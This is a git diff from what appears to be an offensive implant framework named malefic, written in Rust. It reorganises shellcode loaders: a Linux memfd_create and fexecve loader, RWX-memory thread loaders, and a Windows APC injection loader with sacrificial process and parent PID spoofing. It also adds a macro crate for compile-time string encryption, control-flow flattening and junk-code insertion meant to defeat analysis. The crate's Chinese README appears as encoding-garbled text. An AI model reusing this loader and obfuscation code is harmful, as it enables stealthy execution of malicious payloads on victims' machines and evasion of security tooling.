libc::{dup2, pipe, STDERR_FILENO, STDOUT_FILENO}; use std::ffi::CString; use std::io::Read; use std::os::unix::io::{FromRawFd, RawFd}; -use libc::{dup2, pipe, STDERR_FILENO, STDOUT_FILENO}; #[cfg(any(target_os = "linux", target_os = "android"))] -pub unsafe fn loader(shellcode : Vec, need_output: bool) -> Result, String> { +pub unsafe fn loader(shellcode: Vec, need_output: bool) -> Result, String> { let mut result: Vec = Vec::new(); // if want to use method execl to run shellcode, set prot as 0 - let fd = unsafe { - libc::syscall(libc::SYS_memfd_create, - "watchdogs\0".as_ptr() as *const libc::c_char, - 2) + let fd = unsafe { + libc::syscall( + libc::SYS_memfd_create, + "watchdogs\0".as_ptr() as *const libc::c_char, + 2, + ) }; if fd.is_negative() { @@ -35,9 +37,11 @@ pub unsafe fn loader(shellcode : Vec, need_output: bool) -> Result, return Err("malloc failed".to_string()); } let memory = memory.unwrap(); - let len = libc::write(fd as i32, - shellcode.as_ptr() as *const libc::c_void, - memory.get_size()); + let len = libc::write( + fd as i32, + shellcode.as_ptr() as *const libc::c_void, + memory.get_size(), + ); if len.is_negative() { return Err("write failed".to_string()); } @@ -45,14 +49,14 @@ pub unsafe fn loader(shellcode : Vec, need_output: bool) -> Result, let argv = [CString::new("").unwrap().into_raw()]; let envp = [CString::new("").unwrap().into_raw()]; - let mut pipefd: [RawFd; 2] = [0;2]; + let mut pipefd: [RawFd; 2] = [0; 2]; let mut original_stdout: i32 = -1; let mut original_stderr: i32 = -1; if need_output { if pipe(pipefd.as_mut_ptr()) == -1 { return Err("Failed to create pipe".to_string()); } - original_stdout = dup2(STDOUT_FILENO, -1) ; + original_stdout = dup2(STDOUT_FILENO, -1); original_stderr = dup2(STDERR_FILENO, -1); if original_stdout == -1 || original_stderr == -1 { return Err("Failed to save original stdout/stderr".to_string()); @@ -63,10 +67,14 @@ pub unsafe fn loader(shellcode : Vec, need_output: bool) -> Result, } // method 1 - let ret = libc::fexecve(fd as i32, argv.as_ptr() as *const *const _, envp.as_ptr() as *const *const _); + let ret = libc::fexecve( + fd as i32, + argv.as_ptr() as *const *const _, + envp.as_ptr() as *const *const _, + ); // method 2 - // let command_path = format!("/proc/self/fd/{}", fd); + // let command_path = format!("/proc/self/fd/{}", fd); // let ret = libc::execl(command_path.to_string().as_ptr() as *const i8, std::ptr::null_mut()); if ret.is_negative() { @@ -90,4 +98,4 @@ pub unsafe fn loader(shellcode : Vec, need_output: bool) -> Result, libc::close(fd as i32); Ok(result) -} \ No newline at end of file +} diff --git a/malefic-helper/src/linux/loader/mod.rs b/malefic-crates/loader/src/linux/mod.rs similarity index 86% rename from malefic-helper/src/linux/loader/mod.rs rename to malefic-crates/loader/src/linux/mod.rs index 149e127..3010503 100644 --- a/malefic-helper/src/linux/loader/mod.rs +++ b/malefic-crates/loader/src/linux/mod.rs @@ -6,4 +6,4 @@ pub mod spawn; pub mod memfd; // #[cfg(feature = "Linux_Inject_Memfd")] -pub use memfd::loader as loader; +pub use memfd::loader; diff --git a/malefic-crates/loader/src/linux/pthread.rs b/malefic-crates/loader/src/linux/pthread.rs new file mode 100644 index 0000000..5228d75 --- /dev/null +++ b/malefic-crates/loader/src/linux/pthread.rs @@ -0,0 +1,44 @@ +use crate::memory::MaleficChunk; +use libc::{pthread_create, pthread_join}; +use std::os::raw::c_void; +use std::sync::{Arc, Mutex}; +use std::time::Duration; + +#[cfg(target_os = "linux")] +pub fn loader(shellcode: Vec) { + let mut size = shellcode.len(); + if size < 0 { + return; + } + + let mut m_memory = MaleficChunk::new(size); + if m_memory.is_err() { + return; + } + let m_memory = m_memory.unwrap(); + + unsafe { + libc::memcpy( + m_memory.get_ptr(), + shellcode.as_ptr() as *const libc::c_void, + m_memory.get_size(), + ); + } + // sleep 10 seconds + // sleep(Duration::from_secs(10)); + + m_memory.set_protect((libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC) as _); + println!("will pthread create!"); + + unsafe { + let mut pthread_handle: libc::pthread_t = std::mem::zeroed(); + pthread_create( + &mut pthread_handle, + std::ptr::null(), + std::mem::transmute(m_memory.get_ptr()), + std::ptr::null_mut(), + ); + } + + std::thread::sleep(Duration::from_secs(2)); +} diff --git a/malefic-helper/src/linux/loader/spawn.rs b/malefic-crates/loader/src/linux/spawn.rs similarity index 60% rename from malefic-helper/src/linux/loader/spawn.rs rename to malefic-crates/loader/src/linux/spawn.rs index 040cfbe..aa5c042 100644 --- a/malefic-helper/src/linux/loader/spawn.rs +++ b/malefic-crates/loader/src/linux/spawn.rs @@ -1,50 +1,53 @@ -use crate::common::memory::MaliceMalloc; +use crate::memory::MaleficChunk; +use std::os::raw::c_void; use std::sync::{Arc, Mutex}; use std::time::Duration; -use std::os::raw::c_void; - - #[cfg(target_os = "linux")] -pub fn loader(shellcode : Vec) { +pub fn loader(shellcode: Vec) { let mut size = shellcode.len(); if size < 0 { return; } - - let mut m_memory = MaliceMalloc::new(size); + + let mut m_memory = MaleficChunk::new(size); if m_memory.is_err() { return; } let m_memory = m_memory.unwrap(); - unsafe { - libc::memcpy(m_memory.get_ptr() , shellcode.as_ptr() as *const libc::c_void, m_memory.get_size()); + unsafe { + libc::memcpy( + m_memory.get_ptr(), + shellcode.as_ptr() as *const libc::c_void, + m_memory.get_size(), + ); } - // sleep 10ç§’ + // sleep 10 seconds // sleep(Duration::from_secs(10)); - + m_memory.set_protect((libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC) as _); println!("will pthread create!"); unsafe { - let mut pthread_handle : libc::pthread_t = std::mem::zeroed(); + let mut pthread_handle: libc::pthread_t = std::mem::zeroed(); - let shellcode_fn = std::mem::transmute::<*mut core::ffi::c_void, extern "C" fn(*mut c_void) -> *mut c_void>(m_memory.get_ptr()); + let shellcode_fn = std::mem::transmute::< + *mut core::ffi::c_void, + extern "C" fn(*mut c_void) -> *mut c_void, + >(m_memory.get_ptr()); let shellcode_fn = Arc::new(shellcode_fn); let shellcode_fn = Mutex::new(shellcode_fn); let thread_handle = std::thread::Builder::new() .name("my_thread".to_string()) .spawn(move || { - // åœ¨æ–°çº¿ç¨‹ä¸­æ‰§è¡Œçš„ä»£ç  + // Code to execute in new thread let shellcode_fn = shellcode_fn.lock().unwrap(); (*shellcode_fn)(std::ptr::null_mut()); }) .expect("Failed to create thread"); - } std::thread::sleep(Duration::from_secs(2)); - -} \ No newline at end of file +} diff --git a/malefic-crates/loader/src/memory.rs b/malefic-crates/loader/src/memory.rs new file mode 100644 index 0000000..9c15a49 --- /dev/null +++ b/malefic-crates/loader/src/memory.rs @@ -0,0 +1,186 @@ +use malefic_common::errors::CommonError; +use std::collections::BTreeMap; + +#[derive(Clone)] +pub struct MaleficMemManager { + mems: BTreeMap, + next_id: usize, +} + +impl MaleficMemManager { + pub fn default() -> Self { + Self { + mems: BTreeMap::new(), + next_id: 0, + } + } + + pub unsafe fn alloc(&mut self, size: usize) -> Result { + let mem = MaleficChunk::new(size).map_err(|_| ())?; + let id = self.next_id; + self.next_id += 1; + self.mems.insert(id, mem); + Ok(id) + } + + pub unsafe fn remove(&mut self, id: usize) -> Result<(), ()> { + if let Some(mut mem) = self.mems.remove(&id) { + let _ = mem.delete(); + Ok(()) + } else { + Err(()) + } + } + + pub unsafe fn dele(&mut self) { + let ids: Vec = self.mems.keys().cloned().collect(); + for id in ids { + let _ = self.remove(id); + } + } + + pub unsafe fn get(&self, id: usize) -> Option<&MaleficChunk> { + self.mems.get(&id) + } +} + +#[allow(dead_code)] +#[derive(Clone, Copy)] +pub struct MaleficChunk { + ptr: *mut core::ffi::c_void, + size: usize, + handle: *const core::ffi::c_void, +} + +pub fn malloc_and_set_memory(shellcode: Vec) -> Result { + let size = shellcode.len(); + let memory = MaleficChunk::new(size)?; + memory.set_mem(shellcode.as_ptr() as *const core::ffi::c_void); + let _ = memory.set_protect_exec()?; + Ok(memory) +} + +impl MaleficChunk { + pub fn get_ptr(&self) -> *mut core::ffi::c_void { + self.ptr + } + + pub fn get_size(&self) -> usize { + self.size + } + + pub fn new_fd(size: usize, fd: i64) -> Result { + if fd.is_negative() || size.eq(&0) { + return Err(CommonError::AllocationFailed); + } + #[cfg(target_os = "linux")] + { + let ptr = unsafe { + libc::mmap( + core::ptr::null_mut(), + size, + libc::PROT_READ | libc::PROT_WRITE, + libc::MAP_PRIVATE, + fd as i32, + 0, + ) + }; + if ptr == libc::MAP_FAILED { + return Err(CommonError::AllocationFailed); + } + return Ok(Self { + ptr, + size, + handle: core::ptr::null(), + }); + } + #[cfg(target_os = "macos")] + { + todo!() + } + #[allow(unreachable_code)] + Ok(Self { + ptr: core::ptr::null_mut(), + size: 0, + handle: core::ptr::null(), + }) + } + + #[allow(unused_variables)] + pub fn new(size: usize) -> Result { + #[cfg(target_os = "linux")] + { + let ptr = unsafe { + libc::mmap( + core::ptr::null_mut(), + size, + libc::PROT_READ | libc::PROT_WRITE, + libc::MAP_PRIVATE | libc::MAP_ANON, + -1, + 0, + ) + }; + if ptr == libc::MAP_FAILED { + return Err(CommonError::AllocationFailed); + } + return Ok(Self { + ptr, + size, + handle: core::ptr::null(), + }); + } + #[cfg(target_os = "macos")] + { + todo!() + } + #[allow(unreachable_code)] + Ok(Self { + ptr: core::ptr::null_mut(), + size: 0, + handle: core::ptr::null(), + }) + } + + #[allow(unused_variables)] + pub fn set_protect(&self, prot: u32) -> Result<(), CommonError> { + #[cfg(target_os = "linux")] + unsafe { + if libc::mprotect(self.ptr, self.size, prot as libc::c_int) != 0 { + return Err(CommonError::AllocationFailed); + } + } + Ok(()) + } + + pub fn set_protect_exec(&self) -> Result<(), CommonError> { + #[cfg(target_os = "linux")] + unsafe { + if libc::mprotect(self.ptr, self.size, libc::PROT_EXEC) != 0 { + return Err(CommonError::AllocationFailed); + } + } + Ok(()) + } + + #[allow(unused_variables)] + pub fn delete(&mut self) -> Result<(), CommonError> { + #[cfg(target_os = "linux")] + { + unsafe { + let ret = libc::munmap(self.ptr, self.size); + if ret < 0 { + return Err(CommonError::FreeFailed); + } + return Ok(()); + } + } + #[allow(unreachable_code)] + Ok(()) + } + + pub fn set_mem(&self, ptr: *const core::ffi::c_void) { + unsafe { + std::ptr::copy(ptr, self.ptr, self.size); + } + } +} diff --git a/malefic-crates/loader/src/win/apc/mod.rs b/malefic-crates/loader/src/win/apc/mod.rs new file mode 100644 index 0000000..0f5de92 --- /dev/null +++ b/malefic-crates/loader/src/win/apc/mod.rs @@ -0,0 +1,52 @@ +use malefic_gateway::obfstr; +use malefic_os_win::kit::binding::{ApcLoaderInline, ApcLoaderSacriface}; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +#[repr(u32)] +pub enum LoaderType { + InlineRX = 1, + InlineRWX = 2, +} + +impl LoaderType { + pub fn from_str(s: &str) -> Self { + match s { + "2" | "rwx" | "inline_rwx" => LoaderType::InlineRWX, + _ => LoaderType::InlineRX, + } + } + + pub fn from_u32(n: u32) -> Self { + match n { + 2 => LoaderType::InlineRWX, + _ => LoaderType::InlineRX, + } + } +} + +pub unsafe fn loader( + bin: Vec, + is_need_sacrifice: bool, + sacrifice_commandline: *mut i8, + ppid: u32, + block_dll: bool, + need_output: bool, + loader_type: u32, +) -> Result, String> { + if bin.is_empty() { + return Err(obfstr!("empty shellcode").to_string()); + } + if is_need_sacrifice { + let ret = ApcLoaderSacriface( + bin.as_ptr(), + bin.len(), + sacrifice_commandline, + ppid, + block_dll, + need_output, + ); + return Ok(ret.into_bytes()); + } + let ret = ApcLoaderInline(bin.as_ptr(), bin.len(), need_output, loader_type); + Ok(ret.into_bytes()) +} diff --git a/malefic-helper/src/win/loader/fiber/mod.rs b/malefic-crates/loader/src/win/fiber/mod.rs similarity index 85% rename from malefic-helper/src/win/loader/fiber/mod.rs rename to malefic-crates/loader/src/win/fiber/mod.rs index d09b407..165d2a6 100644 --- a/malefic-helper/src/win/loader/fiber/mod.rs +++ b/malefic-crates/loader/src/win/fiber/mod.rs @@ -1,6 +1,9 @@ +use crate::memory::malloc_and_set_memory; +use windows::Win32::Foundation::GetLastError; +use windows::Win32::System::Threading::{ConvertThreadToFiber, CreateFiber, SwitchToFiber}; #[cfg(feature = "Mei_Fiber")] -pub fn loader(shellcode : Vec) { +pub fn loader(shellcode: Vec) { if shellcode.is_empty() { return; } @@ -14,7 +17,6 @@ pub fn loader(shellcode : Vec) { return; } - let memory = malloc_and_set_memory(shellcode); if memory.is_err() { if cfg!(debug_assertions) { @@ -42,5 +44,4 @@ pub fn loader(shellcode : Vec) { SwitchToFiber(fiber); SwitchToFiber(main_fiber); } - -} \ No newline at end of file +} diff --git a/malefic-helper/src/win/loader/mod.rs b/malefic-crates/loader/src/win/mod.rs similarity index 92% rename from malefic-helper/src/win/loader/mod.rs rename to malefic-crates/loader/src/win/mod.rs index 247973f..4d8d793 100644 --- a/malefic-helper/src/win/loader/mod.rs +++ b/malefic-crates/loader/src/win/mod.rs @@ -1,9 +1,9 @@ +#[cfg(feature = "Win_Inject_APC")] +pub mod apc; #[cfg(feature = "Win_Inject_Fiber")] pub mod fiber; #[cfg(feature = "Win_Inject_Thread")] pub mod thread; -#[cfg(feature = "Win_Inject_APC")] -pub mod apc; #[cfg(feature = "Win_Inject_Fiber")] compile_error!("Win_Inject_Fiber is deprecated"); @@ -11,4 +11,4 @@ compile_error!("Win_Inject_Fiber is deprecated"); compile_error!("Win_Inject_Thread is deprecated"); #[cfg(feature = "Win_Inject_APC")] -pub use apc::loader as loader; \ No newline at end of file +pub use apc::loader; diff --git a/malefic-helper/src/win/loader/thread/mod.rs b/malefic-crates/loader/src/win/thread/mod.rs similarity index 85% rename from malefic-helper/src/win/loader/thread/mod.rs rename to malefic-crates/loader/src/win/thread/mod.rs index 4e8cd3b..8e7e092 100644 --- a/malefic-helper/src/win/loader/thread/mod.rs +++ b/malefic-crates/loader/src/win/thread/mod.rs @@ -1,8 +1,8 @@ #[cfg(feature = "Mei_Thread")] pub fn loader(shellcode: Vec) { - use crate::common::memory; - use windows::Win32::Foundation::{GetLastError, WAIT_FAILED}; - use windows::Win32::System::Threading::{WaitForSingleObject, CreateThread}; + use crate::memory; + use windows::Win32::Foundation::GetLastError; + use windows::Win32::System::Threading::{CreateThread, WaitForSingleObject}; if shellcode.is_empty() { return; } @@ -38,4 +38,4 @@ pub fn loader(shellcode: Vec) { let _ = WaitForSingleObject(thread.unwrap(), 0xFFFFFFFF); } -} \ No newline at end of file +} diff --git a/malefic-crates/macro/Cargo.toml b/malefic-crates/macro/Cargo.toml new file mode 100644 index 0000000..815db8e --- /dev/null +++ b/malefic-crates/macro/Cargo.toml @@ -0,0 +1,42 @@ +[package] +name = "malefic-macro" +version = "0.1.1" +edition = "2021" + +[lib] +proc-macro = true + +[features] +default = [] + +# Internal: any obf feature activates the obf/ module +_obf_impl = [] + +# Literal encryption: obf_string!, obfstr!, obf_bytes!, obf_int! +# and LiteralObfuscator in #[obfuscate] / lazy_static! +literal_obf = ["_obf_impl", "dep:aes", "dep:ctr", "dep:const-random"] + +# Control-flow flattening: flow!, obf_stmts! +# and #[obfuscate(flow)] parameter +control_flow = ["_obf_impl", "dep:const-random"] + +# Junk code injection: #[junk], #[obfuscate(junk = N)] +junk_insertion = ["_obf_impl", "dep:const-random"] + +# Struct field encryption: #[derive(ObfuscateBox)] +struct_obf = ["_obf_impl"] + +# Encrypted file embedding: include_encrypted! +embed_encrypt = ["_obf_impl", "dep:aes", "dep:ctr", "dep:const-random"] + +# In-place XOR struct obfuscation: #[derive(Obfuscate)] +inplace_obf = ["_obf_impl"] + +[dependencies] +syn = { workspace = true, features = ["visit-mut", "visit"] } +quote = { workspace = true } +proc-macro2 = { workspace = true } +const-random = { workspace = true, optional = true } +rand = { workspace = true, features = ["small_rng"] } +aes = { workspace = true, optional = true } +ctr = { workspace = true, optional = true } diff --git a/malefic-crates/macro/README.md b/malefic-crates/macro/README.md new file mode 100644 index 0000000..2c6628f --- /dev/null +++ b/malefic-crates/macro/README.md @@ -0,0 +1,113 @@ +# malefic-macro + +ç¼–è¯‘æœŸä»£ç æ··æ·†è¿‡ç¨‹å®åº“,æä¾›å­—ç¬¦ä¸²åŠ å¯†ã€æŽ§åˆ¶æµå¹³å¦åŒ–ã€åžƒåœ¾ä»£ç æ³¨å…¥ã€ç»“构体字段加密和文件嵌入加密等能力。所有混淆在编译期完æˆï¼Œè¿è¡Œæ—¶è‡ªåŠ¨è§£å¯†ï¼Œå„功能å¯é€šè¿‡ feature 独立开关。 + +## 功能简介 + +- **字符串/字节串加密** — 使用 AES-256-CTR 在编译期加密字é¢é‡ï¼Œè¿è¡Œæ—¶è§£å¯† +- **æ•´æ•°æ··æ·†** — 通过å¯é€†è¿ç®—链éšè—整数常é‡çš„真实值 +- **控制æµå¹³å¦åŒ–** — 将顺åºè¯­å¥è½¬æ¢ä¸º loop/match çŠ¶æ€æœºï¼ˆGoldberg 风格) +- **è½»é‡æŽ§åˆ¶æµæ··æ·†** — æ’入虚å‡å¾ªçŽ¯ä¸Ž `black_box` å¹²æ‰°é™æ€åˆ†æž +- **åžƒåœ¾ä»£ç æ³¨å…¥** — 在函数体中自动æ’入无æ„义代ç ï¼Œå¢žå¤§é€†å‘难度 +- **结构体字段加密** — 派生å®ç”Ÿæˆ `Obfuscated`,字段以 AES 加密存储 +- **文件嵌入加密** — 编译期加密嵌入文件内容,è¿è¡Œæ—¶è§£å¯†ä¸º `Vec` +- **lazy_static 替代** — 基于 `OnceLock` çš„ `lazy_static!`,自动对åˆå§‹åŒ–表达å¼åšå­—é¢é‡æ··æ·† +- **统一属性å®** — `#[obfuscate]` 一键å¯ç”¨å­—é¢é‡æ··æ·†ã€æŽ§åˆ¶æµå¹³å¦åŒ–å’Œåžƒåœ¾ä»£ç æ³¨å…¥ + +## Features + +| Feature | 说明 | +|---------|------| +| `literal_obf` | å¯ç”¨å­—符串ã€å­—èŠ‚ä¸²ã€æ•´æ•°å­—é¢é‡çš„ AES 加密混淆 | +| `control_flow` | å¯ç”¨ `flow!` å’Œ `obf_stmts!` æŽ§åˆ¶æµæ··æ·† | +| `junk_insertion` | å¯ç”¨ `#[junk]` åžƒåœ¾ä»£ç æ³¨å…¥ | +| `struct_obf` | å¯ç”¨ `#[derive(Obfuscate)]` 结构体字段加密 | +| `embed_encrypt` | å¯ç”¨ `include_encrypted!` 文件嵌入加密 | + +以上 feature 全部默认å¯ç”¨ã€‚关闭æŸä¸ª feature åŽï¼Œå¯¹åº”å®ä¼šé€€åŒ–为无混淆的直通实现。 + +## 基本用法 + +### 字符串与字节串加密 + +```rust +use malefic_macro::{obf_string, obfstr, obf_bytes}; + +let s: String = obf_string!("sensitive string"); +let r: &'static str = obfstr!("also encrypted"); +let b: Vec = obf_bytes!(b"raw bytes"); +``` + +### æ•´æ•°æ··æ·† + +```rust +use malefic_macro::obf_int; + +let key: u32 = obf_int!(0xDEADBEEF_u32); +``` + +### æŽ§åˆ¶æµæ··æ·† + +```rust +use malefic_macro::{flow, obf_stmts}; + +// è½»é‡æ··æ·†ï¼šæ’入虚å‡å¾ªçޝ +flow! { do_something(); } + +// Goldberg çŠ¶æ€æœºé£Žæ ¼ +obf_stmts! { + step_one(); + step_two(); + step_three(); +} +``` + +### åžƒåœ¾ä»£ç æ³¨å…¥ + +```rust +use malefic_macro::junk; + +#[junk(density = 3)] +fn my_function() { + real_logic(); +} +``` + +### 结构体字段加密 + +```rust +use malefic_macro::Obfuscate; + +#[derive(Obfuscate)] +struct Config { + api_key: String, + secret: Vec, +} +``` + +### 文件嵌入加密 + +```rust +use malefic_macro::include_encrypted; + +let data: Vec = include_encrypted!("path/to/payload.bin"); +let data_aes: Vec = include_encrypted!(aes, "path/to/payload.bin"); +``` + +### ç»Ÿä¸€å±žæ€§å® + +```rust +use malefic_macro::obfuscate; + +#[obfuscate] // ä»…å­—é¢é‡æ··æ·† +#[obfuscate(flow)] // å­—é¢é‡ + æŽ§åˆ¶æµ +#[obfuscate(junk = 2)] // å­—é¢é‡ + 垃圾注入 +#[obfuscate(flow, junk = 2)] // 全部å¯ç”¨ +fn handler() { /* ... */ } +``` + +## å‚考链接 + +- [AES crate](https://docs.rs/aes) +- [const-random](https://docs.rs/const-random) — ç¼–è¯‘æœŸéšæœºæ•°ç”Ÿæˆ +- [syn](https://docs.rs/syn) — Rust 过程å®è¯­æ³•è§£æž diff --git a/malefic-crates/macro/src/lazy_static_impl.rs b/malefic-crates/macro/src/lazy_static_impl.rs new file mode 100644 index 0000000..5e72eed --- /dev/null +++ b/malefic-crates/macro/src/lazy_static_impl.rs @@ -0,0 +1,101 @@ +use proc_macro2::TokenStream; +use quote::quote; +use syn::parse::{Parse, ParseStream}; +use syn::{Attribute, Expr, Ident, Token, Type, Visibility}; + +#[cfg(feature = "literal_obf")] +use syn::visit_mut::VisitMut; + +#[cfg(feature = "literal_obf")] +use crate::obf::util::LiteralObfuscator; + +/// A single `static ref NAME: TYPE = EXPR;` entry. +struct LazyStaticEntry { + attrs: Vec, + vis: Visibility, + name: Ident, + ty: Type, + init: Expr, +} + +/// The full `lazy_static! { ... }` body: one or more entries. +struct LazyStaticInput { + entries: Vec, +} + +impl Parse for LazyStaticEntry { + fn parse(input: ParseStream) -> syn::Result { + let attrs = input.call(Attribute::parse_outer)?; + let vis: Visibility = input.parse()?; + input.parse::()?; + input.parse::()?; + let name: Ident = input.parse()?; + input.parse::()?; + let ty: Type = input.parse()?; + input.parse::()?; + let init: Expr = input.parse()?; + input.parse::()?; + Ok(LazyStaticEntry { + attrs, + vis, + name, + ty, + init, + }) + } +} + +impl Parse for LazyStaticInput { + fn parse(input: ParseStream) -> syn::Result { + let mut entries = Vec::new(); + while !input.is_empty() { + entries.push(input.parse()?); + } + Ok(LazyStaticInput { entries }) + } +} + +pub fn lazy_static_impl(input: TokenStream) -> TokenStream { + let parsed: LazyStaticInput = match syn::parse2(input) { + Ok(v) => v, + Err(e) => return e.to_compile_error(), + }; + + let mut output = TokenStream::new(); + + for entry in parsed.entries { + let LazyStaticEntry { + attrs, + vis, + name, + ty, + mut init, + } = entry; + + // Apply literal obfuscation to the initializer expression (if enabled). + #[cfg(feature = "literal_obf")] + LiteralObfuscator.visit_expr_mut(&mut init); + + let expanded = quote! { + #[allow(non_camel_case_types)] + #[allow(dead_code)] + #(#attrs)* + #vis struct #name { __private_field: () } + + #[allow(non_upper_case_globals)] + #vis static #name: #name = #name { __private_field: () }; + + impl ::core::ops::Deref for #name { + type Target = #ty; + fn deref(&self) -> &#ty { + static __LAZY: ::std::sync::OnceLock<#ty> = ::std::sync::OnceLock::new(); + __LAZY.get_or_init(|| { #init }) + } + } + }; + + output.extend(expanded); + } + + output +} diff --git a/malefic-crates/macro/src/lib.rs b/malefic-crates/macro/src/lib.rs new file mode 100644 index 0000000..d85f3b7 --- /dev/null +++ b/malefic-crates/macro/src/lib.rs @@ -0,0 +1,435 @@ +extern crate proc_macro; + +use proc_macro::TokenStream; +use quote::quote; +use syn::{parse::Parse, parse::ParseStream, parse_macro_input, ItemImpl, LitStr}; + +// Pro obfuscation module — only compiled when any obf feature is enabled. +// The entire obf/ directory can be deleted for community builds. +#[cfg(feature = "_obf_impl")] +mod obf; + +// Community: lazy_static is always available (OnceLock wrapper). +// LiteralObfuscator integration is gated by literal_obf inside. +mod lazy_static_impl; + +struct MacroArgs { + module_name: LitStr, +} + +impl Parse for MacroArgs { + fn parse(input: ParseStream) -> syn::Result { + let module_name = input.parse()?; + Ok(MacroArgs { module_name }) + } +} + +#[proc_macro_attribute] +pub fn module_impl(args: TokenStream, item: TokenStream) -> TokenStream { + let args = parse_macro_input!(args as MacroArgs); + let module_name = &args.module_name; + let mut input = parse_macro_input!(item as ItemImpl); + + let struct_ty = &input.self_ty; + + let name_method = quote! { + fn name() -> &'static str { + ::malefic_gateway::obfstr!(#module_name) + } + }; + let new_method = quote! { + fn new() -> Self { + Self {} + } + }; + let new_instance_method = quote! { + fn new_instance(&self) -> Box { + Box::new(Self::new()) + } + }; + + input.items.push(syn::parse2(new_instance_method).unwrap()); + input.items.push(syn::parse2(new_method).unwrap()); + input.items.push(syn::parse2(name_method).unwrap()); + + // Generate rt_run() — sync bridge that drives ModuleImpl::run() via noop_waker. + // This is injected into the `impl Module` block. + // Takes the same Input/Output channels as ModuleImpl::run(), but blocks. + let rt_run_method = quote! { + fn rt_run( + &mut self, + id: u32, + recv_channel: &mut ::malefic_module::Input, + send_channel: &mut ::malefic_module::Output, + ) -> ::malefic_module::ModuleResult { + use ::core::future::Future; + use ::core::task::{Context, Poll, RawWaker, RawWakerVTable, Waker}; + + fn noop_raw_waker() -> RawWaker { + fn no_op(_: *const ()) {} + fn clone(p: *const ()) -> RawWaker { RawWaker::new(p, &VTABLE) } + static VTABLE: RawWakerVTable = + RawWakerVTable::new(clone, no_op, no_op, no_op); + RawWaker::new(::core::ptr::null(), &VTABLE) + } + let waker = unsafe { Waker::from_raw(noop_raw_waker()) }; + let mut cx = Context::from_waker(&waker); + + let fut = ::malefic_module::ModuleImpl::run( + self, id, recv_channel, send_channel, + ); + ::futures::pin_mut!(fut); + + loop { + match fut.as_mut().poll(&mut cx) { + Poll::Ready(result) => return result, + Poll::Pending => { + ::std::thread::sleep(::std::time::Duration::from_millis(1)); + } + } + } + } + }; + input.items.push(syn::parse2(rt_run_method).unwrap()); + + // Auto-generate `impl RtModule` for DLL export compatibility. + // Only compiled when the crate has malefic-runtime available (e.g. as_module_dll). + // RtModule::run() bridges RtChannel I/O ↔ futures channels, then delegates to ModuleImpl. + let rt_module_impl = quote! { + #[cfg(feature = "as_module_dll")] + const _: () = { + impl ::malefic_module::module_sdk::RtModule for #struct_ty { + fn name() -> &'static str { + ::malefic_gateway::obfstr!(#module_name) + } + fn new() -> Self { + Self {} + } + fn run( + &mut self, + task_id: u32, + channel: &::malefic_module::module_sdk::RtChannel, + ) -> ::malefic_module::module_sdk::RtResult { + use ::malefic_module::module_sdk::RtResult; + + let (input_tx, mut input_rx) = + ::futures::channel::mpsc::unbounded::< + ::malefic_proto::proto::implantpb::spite::Body + >(); + let (mut output_tx, mut output_rx) = + ::futures::channel::mpsc::unbounded::<::malefic_module::TaskResult>(); + + let mut input_tx = Some(input_tx); + + // Interleave I/O polling with rt_run progress. + // rt_run blocks, so we need a thread for I/O. + // But rt_run internally polls the future — we can't call it + // directly because we need to pump RtChannel I/O. + // + // Instead, inline the same poll loop but with RtChannel I/O. + use ::core::future::Future; + use ::core::task::{Context, Poll, RawWaker, RawWakerVTable, Waker}; + + fn noop_raw_waker() -> RawWaker { + fn no_op(_: *const ()) {} + fn clone(p: *const ()) -> RawWaker { RawWaker::new(p, &VTABLE) } + static VTABLE: RawWakerVTable = + RawWakerVTable::new(clone, no_op, no_op, no_op); + RawWaker::new(::core::ptr::null(), &VTABLE) + } + let waker = unsafe { Waker::from_raw(noop_raw_waker()) }; + let mut cx = Context::from_waker(&waker); + + let fut = ::malefic_module::ModuleImpl::run( + self, task_id, &mut input_rx, &mut output_tx, + ); + ::futures::pin_mut!(fut); + + loop { + match fut.as_mut().poll(&mut cx) { + Poll::Ready(result) => { + { + use ::futures::stream::TryStreamExt; + while let Ok(Some(tr)) = output_rx.try_next() { + let _ = channel.send(tr.body); + } + } + return match result { + Ok(tr) => RtResult::Done(tr.body), + Err(e) => RtResult::Error(::std::format!("{}", e)), + }; + } + Poll::Pending => {} + } + + if let Some(ref tx) = input_tx { + match channel.try_recv() { + Ok(Some(body)) => { let _ = tx.unbounded_send(body); } + Ok(None) => {} + Err(_) => { input_tx = None; } + } + } + + { + use ::futures::stream::TryStreamExt; + while let Ok(Some(tr)) = output_rx.try_next() { + let _ = channel.send(tr.body); + } + } + + ::std::thread::sleep(::std::time::Duration::from_millis(1)); + } + } + } + }; + }; + + let expanded = quote! { + #input + #rt_module_impl + }; + + TokenStream::from(expanded) +} + +// ============================================================================ +// Proc macros — each has a pro branch (uses obf/) and a community no-op branch +// ============================================================================ + +/// AES-256-CTR string encryption at compile time, decrypted at runtime. +/// Returns `String`. Usage: `obf_string!("sensitive string")` +#[proc_macro] +pub fn obf_string(input: TokenStream) -> TokenStream { + #[cfg(feature = "literal_obf")] + { + let parsed = parse_macro_input!(input as obf::strings::ObfStringInput); + return TokenStream::from(obf::strings::obf_string_impl(parsed)); + } + #[cfg(not(feature = "literal_obf"))] + { + let lit = parse_macro_input!(input as LitStr); + return TokenStream::from(quote! { String::from(#lit) }); + } +} + +/// Drop-in replacement for `obfstr::obfstr!` — returns `&'static str`. +/// Usage: `obfstr!("sensitive string")` +#[proc_macro] +pub fn obfstr(input: TokenStream) -> TokenStream { + #[cfg(feature = "literal_obf")] + { + let parsed = parse_macro_input!(input as obf::strings::ObfStringInput); + return TokenStream::from(obf::strings::obfstr_impl(parsed)); + } + #[cfg(not(feature = "literal_obf"))] + { + let lit = parse_macro_input!(input as LitStr); + return TokenStream::from(quote! { #lit }); + } +} + +/// AES-256-CTR byte string encryption at compile time, decrypted at runtime. +/// Usage: `obf_bytes!(b"sensitive bytes")` +#[proc_macro] +pub fn obf_bytes(input: TokenStream) -> TokenStream { + #[cfg(feature = "literal_obf")] + { + let parsed = parse_macro_input!(input as obf::strings::ObfBytesInput); + return TokenStream::from(obf::strings::obf_bytes_impl(parsed)); + } + #[cfg(not(feature = "literal_obf"))] + { + let lit = parse_macro_input!(input as syn::LitByteStr); + return TokenStream::from(quote! { (#lit).to_vec() }); + } +} + +/// Lightweight control-flow obfuscation with dummy loops and black_box. +/// Usage: `flow!{ real_code_here; }` +#[proc_macro] +pub fn flow(input: TokenStream) -> TokenStream { + #[cfg(feature = "control_flow")] + { + return TokenStream::from(obf::flow::flow_impl(input.into())); + } + 